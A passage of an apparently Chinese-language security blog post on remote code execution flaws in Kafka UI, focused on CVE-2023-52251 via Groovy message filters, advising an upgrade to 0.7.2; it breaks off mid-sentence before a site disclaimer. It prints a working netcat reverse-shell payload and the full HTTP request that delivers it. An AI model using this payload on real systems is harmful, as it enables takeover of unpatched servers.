1. 背景介绍
Kafka UI 是一款开源的 Web 应用,旨在管理和监控 Apache Kafka 集群,主要供开发者和管理员使用,提供了可视化的集群管理界面。但在默认配置中,Kafka UI 不需要身份验证即可读取和写入数据,导致许多 Kafka UI 实例在内部网络中未受保护,甚至直接暴露在互联网上。
尽管有些人可能认为暴露的 Kafka 数据并不敏感,但这种配置可能会为攻击者提供一个进入内部网络的“入口”。在安全研究中,我探索了利用 Kafka UI 的可能性,结果发现了 3 个远程代码执行(RCE)漏洞。
这些漏洞在 0.7.2 版本中已修复,如果你在使用 Kafka UI,请务必升级!
2. 漏洞一:CVE-2023-52251 - 通过 Groovy 脚本执行 RCE
漏洞描述
Kafka UI 允许用户在“消息过滤”功能中使用 Groovy 脚本。攻击者可以利用这一点,通过伪造的请求在服务器上执行任意的 Groovy 脚本,最终实现 远程代码执行 (RCE)。
漏洞详情
MessageFilters.java
代码中,GROOVY_SCRIPT
过滤类型会直接执行 Groovy 脚本:
public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {switch (type) {case STRING_CONTAINS:return containsStringFilter(query);case GROOVY_SCRIPT:return groovyScriptFilter(query); // 存在漏洞点default:throw new IllegalStateException("Unknown query type: " + type);}}
利用方法
- 在 Kafka UI 中,前往集群页面,选择一个主题 (Topic),点击“消息 (Messages)”选项卡。
- 新建一个 Groovy 过滤器,输入以下脚本:
new ProcessBuilder("nc", "host.docker.internal", "1234", "-e", "sh").start()
这段代码会在目标服务器上运行反向 Shell,从而获得控制权。请求示例如下:
GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT
修复建议
- 升级到 0.7.2 版本,这会禁用对 Groovy 脚本的执行。
- 不要在生产
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)